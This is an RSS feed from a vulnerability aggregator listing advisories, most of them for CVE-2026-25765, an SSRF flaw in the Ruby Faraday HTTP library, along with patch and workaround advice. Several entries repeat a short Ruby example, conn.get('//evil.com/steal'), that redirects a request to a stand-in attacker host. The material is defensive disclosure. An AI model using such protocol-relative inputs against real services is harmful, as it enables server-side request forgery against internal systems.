<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Sat, 03 Oct 2026 13:12:32 +0000</lastBuildDate>
    <item>
      <title>bdu:2026-09131</title>
      <link>https://cve.radiocsirt.org/vuln/bdu:2026-09131</link>
      <description>bdu:2026-09131</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/bdu:2026-09131</guid>
    </item>
    <item>
      <title>BREW-krane-CVE-2026-25765 — Faraday affected by SSRF via protocol-relative URL host override in build_exclusive_url</title>
      <link>https://cve.radiocsirt.org/vuln/brew-krane-cve-2026-25765</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Homebrew: krane&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;Faraday&amp;#39;s `build_exclusive_url` method (in `lib/faraday/connection.rb`) uses Ruby&amp;#39;s
  `URI#merge` to combine the connection&amp;#39;s base URL with a user-supplied path. Per RFC 3986,
  protocol-relative URLs (e.g. `//evil.com/path`) are treated as network-path references
  that override the base URL&amp;#39;s host/authority component.&lt;/p&gt;
&lt;p&gt;This means that if any application passes user-controlled input to Faraday&amp;#39;s `get()`,
  `post()`, `build_url()`, or other request methods, an attacker can supply a
  protocol-relative URL like `//attacker.com/endpoint` to redirect the request to an
  arbitrary host, enabling Server-Side Request Forgery (SSRF).&lt;/p&gt;
&lt;p&gt;The `./` prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with
  `/`, so protocol-relative URLs bypass it entirely.&lt;/p&gt;
&lt;p&gt;**Example:**
  ```ruby
  conn = Faraday.new(url: &amp;#39;https://api.internal.com&amp;#39;)
  conn.get(&amp;#39;//evil.com/steal&amp;#39;)
  # Request is sent to https://evil.com/steal instead of api.internal.com
  ```&lt;/p&gt;
&lt;p&gt;### Patches&lt;/p&gt;
&lt;p&gt;Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.&lt;/p&gt;
&lt;p&gt;### Workarounds&lt;/p&gt;
&lt;p&gt;**NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.**&lt;/p&gt;
&lt;p&gt;Applications should validate and sanitize any user-controlled input before passing it to
  Faraday request methods. Specifically:&lt;/p&gt;
&lt;p&gt;- Reject or strip input that starts with // followed by a non-/ character
  - Use a…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Homebrew: krane&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;Faraday&amp;#39;s `build_exclusive_url` method (in `lib/faraday/connection.rb`) uses Ruby&amp;#39;s
  `URI#merge` to combine the connection&amp;#39;s base URL with a user-supplied path. Per RFC 3986,
  protocol-relative URLs (e.g. `//evil.com/path`) are treated as network-path references
  that override the base URL&amp;#39;s host/authority component.&lt;/p&gt;
&lt;p&gt;This means that if any application passes user-controlled input to Faraday&amp;#39;s `get()`,
  `post()`, `build_url()`, or other request methods, an attacker can supply a
  protocol-relative URL like `//attacker.com/endpoint` to redirect the request to an
  arbitrary host, enabling Server-Side Request Forgery (SSRF).&lt;/p&gt;
&lt;p&gt;The `./` prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with
  `/`, so protocol-relative URLs bypass it entirely.&lt;/p&gt;
&lt;p&gt;**Example:**
  ```ruby
  conn = Faraday.new(url: &amp;#39;https://api.internal.com&amp;#39;)
  conn.get(&amp;#39;//evil.com/steal&amp;#39;)
  # Request is sent to https://evil.com/steal instead of api.internal.com
  ```&lt;/p&gt;
&lt;p&gt;### Patches&lt;/p&gt;
&lt;p&gt;Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.&lt;/p&gt;
&lt;p&gt;### Workarounds&lt;/p&gt;
&lt;p&gt;**NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.**&lt;/p&gt;
&lt;p&gt;Applications should validate and sanitize any user-controlled input before passing it to
  Faraday request methods. Specifically:&lt;/p&gt;
&lt;p&gt;- Reject or strip input that starts with // followed by a non-/ character
  - Use a…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/brew-krane-cve-2026-25765</guid>
    </item>
    <item>
      <title>certfr-2026-avi-0249 — De multiples vulnérabilités ont été découvertes dans les produits IBM. Certaines d'entre elles permettent à un attaquan…</title>
      <link>https://cve.radiocsirt.org/vuln/certfr-2026-avi-0249</link>
      <description>certfr-2026-avi-0249</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/certfr-2026-avi-0249</guid>
    </item>
    <item>
      <title>CLEANSTART-2026-FV59211 — Security fix for CVE-2026-25765 applied in: logstash-fips 9.2.4-r2, logstash-fips 9.2.5-r4, logstash-fips 9.3.0-r2</title>
      <link>https://cve.radiocsirt.org/vuln/cleanstart-2026-fv59211</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; CleanStart: logstash-fips&lt;/p&gt;
&lt;p&gt;CVE-2026-25765 affects multiple packages. This issue is resolved in later releases. See references for individual vulnerability details.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; CleanStart: logstash-fips&lt;/p&gt;
&lt;p&gt;CVE-2026-25765 affects multiple packages. This issue is resolved in later releases. See references for individual vulnerability details.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/cleanstart-2026-fv59211</guid>
    </item>
    <item>
      <title>EUVD-2026-267778</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-267778</link>
      <description>EUVD-2026-267778</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-267778</guid>
    </item>
    <item>
      <title>fkie_cve-2026-25765</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2026-25765</link>
      <description>&lt;p&gt;Faraday is an HTTP client library abstraction layer that provides a common interface over many adapters. Prior to 2.14.1, Faraday&amp;#39;s build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby&amp;#39;s URI#merge to combine the connection&amp;#39;s base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL&amp;#39;s host/authority component. This means that if any application passes user-controlled input to Faraday&amp;#39;s get(), post(), build_url(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF). This vulnerability is fixed in 2.14.1.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Faraday is an HTTP client library abstraction layer that provides a common interface over many adapters. Prior to 2.14.1, Faraday&amp;#39;s build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby&amp;#39;s URI#merge to combine the connection&amp;#39;s base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL&amp;#39;s host/authority component. This means that if any application passes user-controlled input to Faraday&amp;#39;s get(), post(), build_url(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF). This vulnerability is fixed in 2.14.1.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2026-25765</guid>
    </item>
    <item>
      <title>GHSA-33mh-2634-fwr2 — Faraday affected by SSRF via protocol-relative URL host override in build_exclusive_url</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-33mh-2634-fwr2</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; RubyGems: faraday&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;Faraday&amp;#39;s `build_exclusive_url` method (in `lib/faraday/connection.rb`) uses Ruby&amp;#39;s
  `URI#merge` to combine the connection&amp;#39;s base URL with a user-supplied path. Per RFC 3986,
  protocol-relative URLs (e.g. `//evil.com/path`) are treated as network-path references
  that override the base URL&amp;#39;s host/authority component.&lt;/p&gt;
&lt;p&gt;This means that if any application passes user-controlled input to Faraday&amp;#39;s `get()`,
  `post()`, `build_url()`, or other request methods, an attacker can supply a
  protocol-relative URL like `//attacker.com/endpoint` to redirect the request to an
  arbitrary host, enabling Server-Side Request Forgery (SSRF).&lt;/p&gt;
&lt;p&gt;The `./` prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with
  `/`, so protocol-relative URLs bypass it entirely.&lt;/p&gt;
&lt;p&gt;**Example:**
  ```ruby
  conn = Faraday.new(url: &amp;#39;https://api.internal.com&amp;#39;)
  conn.get(&amp;#39;//evil.com/steal&amp;#39;)
  # Request is sent to https://evil.com/steal instead of api.internal.com
  ```&lt;/p&gt;
&lt;p&gt;### Patches&lt;/p&gt;
&lt;p&gt;Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.&lt;/p&gt;
&lt;p&gt;### Workarounds&lt;/p&gt;
&lt;p&gt;**NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.**&lt;/p&gt;
&lt;p&gt;Applications should validate and sanitize any user-controlled input before passing it to
  Faraday request methods. Specifically:&lt;/p&gt;
&lt;p&gt;- Reject or strip input that starts with // followed by a non-/ character
  - Use a…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; RubyGems: faraday&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;Faraday&amp;#39;s `build_exclusive_url` method (in `lib/faraday/connection.rb`) uses Ruby&amp;#39;s
  `URI#merge` to combine the connection&amp;#39;s base URL with a user-supplied path. Per RFC 3986,
  protocol-relative URLs (e.g. `//evil.com/path`) are treated as network-path references
  that override the base URL&amp;#39;s host/authority component.&lt;/p&gt;
&lt;p&gt;This means that if any application passes user-controlled input to Faraday&amp;#39;s `get()`,
  `post()`, `build_url()`, or other request methods, an attacker can supply a
  protocol-relative URL like `//attacker.com/endpoint` to redirect the request to an
  arbitrary host, enabling Server-Side Request Forgery (SSRF).&lt;/p&gt;
&lt;p&gt;The `./` prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with
  `/`, so protocol-relative URLs bypass it entirely.&lt;/p&gt;
&lt;p&gt;**Example:**
  ```ruby
  conn = Faraday.new(url: &amp;#39;https://api.internal.com&amp;#39;)
  conn.get(&amp;#39;//evil.com/steal&amp;#39;)
  # Request is sent to https://evil.com/steal instead of api.internal.com
  ```&lt;/p&gt;
&lt;p&gt;### Patches&lt;/p&gt;
&lt;p&gt;Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.&lt;/p&gt;
&lt;p&gt;### Workarounds&lt;/p&gt;
&lt;p&gt;**NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.**&lt;/p&gt;
&lt;p&gt;Applications should validate and sanitize any user-controlled input before passing it to
  Faraday request methods. Specifically:&lt;/p&gt;
&lt;p&gt;- Reject or strip input that starts with // followed by a non-/ character
  - Use a…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-33mh-2634-fwr2</guid>
    </item>
    <item>
      <title>OESA-2026-2802 — rubygem-faraday security update</title>
      <link>https://cve.radiocsirt.org/vuln/oesa-2026-2802</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; openEuler:22.03-LTS-SP4: rubygem-faraday&lt;/p&gt;
&lt;p&gt;HTTP/REST API client library&#13;
&#13;
Security Fix(es):&lt;/p&gt;
&lt;p&gt;Faraday is an HTTP client library abstraction layer that provides a common interface over many adapters. Prior to 2.14.1, Faraday&amp;amp;apos;s build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby&amp;amp;apos;s URI#merge to combine the connection&amp;amp;apos;s base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL&amp;amp;apos;s host/authority component. This means that if any application passes user-controlled input to Faraday&amp;amp;apos;s get(), post(), build_url(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF). This vulnerability is fixed in 2.14.1.(CVE-2026-25765)&lt;/p&gt;
&lt;p&gt;Faraday is an HTTP client library abstraction layer that provides a common interface over many adapters. From 1.0.0 until 1.10.6 and 2.14.3, Faraday::NestedParamsEncoder, the default nested query parameter encoder/decoder in Faraday, decodes nested query strings without enforcing a maximum nesting depth. A crafted query string causes Faraday to build a deeply nested Ruby Hash structure. The internal dehash routine then recursively walks this attacker-controlled structure without a depth limit. At sufficient depth, Ruby raises an uncaught SystemStackError (stack level too deep), crashing the calling thread or worker. This can lead t…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; openEuler:22.03-LTS-SP4: rubygem-faraday&lt;/p&gt;
&lt;p&gt;HTTP/REST API client library&#13;
&#13;
Security Fix(es):&lt;/p&gt;
&lt;p&gt;Faraday is an HTTP client library abstraction layer that provides a common interface over many adapters. Prior to 2.14.1, Faraday&amp;amp;apos;s build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby&amp;amp;apos;s URI#merge to combine the connection&amp;amp;apos;s base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL&amp;amp;apos;s host/authority component. This means that if any application passes user-controlled input to Faraday&amp;amp;apos;s get(), post(), build_url(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF). This vulnerability is fixed in 2.14.1.(CVE-2026-25765)&lt;/p&gt;
&lt;p&gt;Faraday is an HTTP client library abstraction layer that provides a common interface over many adapters. From 1.0.0 until 1.10.6 and 2.14.3, Faraday::NestedParamsEncoder, the default nested query parameter encoder/decoder in Faraday, decodes nested query strings without enforcing a maximum nesting depth. A crafted query string causes Faraday to build a deeply nested Ruby Hash structure. The internal dehash routine then recursively walks this attacker-controlled structure without a depth limit. At sufficient depth, Ruby raises an uncaught SystemStackError (stack level too deep), crashing the calling thread or worker. This can lead t…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/oesa-2026-2802</guid>
    </item>
    <item>
      <title>UBUNTU-CVE-2026-25765</title>
      <link>https://cve.radiocsirt.org/vuln/ubuntu-cve-2026-25765</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Ubuntu:14.04:LTS: ruby-faraday, Ubuntu:16.04:LTS: ruby-faraday, Ubuntu:18.04:LTS: ruby-faraday, Ubuntu:20.04:LTS: ruby-faraday, Ubuntu:22.04:LTS: ruby-faraday, Ubuntu:24.04:LTS: ruby-faraday, Ubuntu:25.10: ruby-faraday, Ubuntu:26.04:LTS: ruby-faraday&lt;/p&gt;
&lt;p&gt;Faraday is an HTTP client library abstraction layer that provides a common interface over many adapters. Prior to 2.14.1, Faraday&amp;#39;s build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby&amp;#39;s URI#merge to combine the connection&amp;#39;s base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL&amp;#39;s host/authority component. This means that if any application passes user-controlled input to Faraday&amp;#39;s get(), post(), build_url(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF). This vulnerability is fixed in 2.14.1.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Ubuntu:14.04:LTS: ruby-faraday, Ubuntu:16.04:LTS: ruby-faraday, Ubuntu:18.04:LTS: ruby-faraday, Ubuntu:20.04:LTS: ruby-faraday, Ubuntu:22.04:LTS: ruby-faraday, Ubuntu:24.04:LTS: ruby-faraday, Ubuntu:25.10: ruby-faraday, Ubuntu:26.04:LTS: ruby-faraday&lt;/p&gt;
&lt;p&gt;Faraday is an HTTP client library abstraction layer that provides a common interface over many adapters. Prior to 2.14.1, Faraday&amp;#39;s build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby&amp;#39;s URI#merge to combine the connection&amp;#39;s base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL&amp;#39;s host/authority component. This means that if any application passes user-controlled input to Faraday&amp;#39;s get(), post(), build_url(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF). This vulnerability is fixed in 2.14.1.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ubuntu-cve-2026-25765</guid>
    </item>
    <item>
      <title>WID-SEC-W-2026-0552 — Fluentd: Mehrere Schwachstellen</title>
      <link>https://cve.radiocsirt.org/vuln/wid-sec-w-2026-0552</link>
      <description>&lt;p&gt;Ein Angreifer kann mehrere Schwachstellen in Fluentd ausnutzen, um Dateien und Daten zu manipulieren.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Ein Angreifer kann mehrere Schwachstellen in Fluentd ausnutzen, um Dateien und Daten zu manipulieren.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/wid-sec-w-2026-0552</guid>
    </item>
  </channel>
</rss>
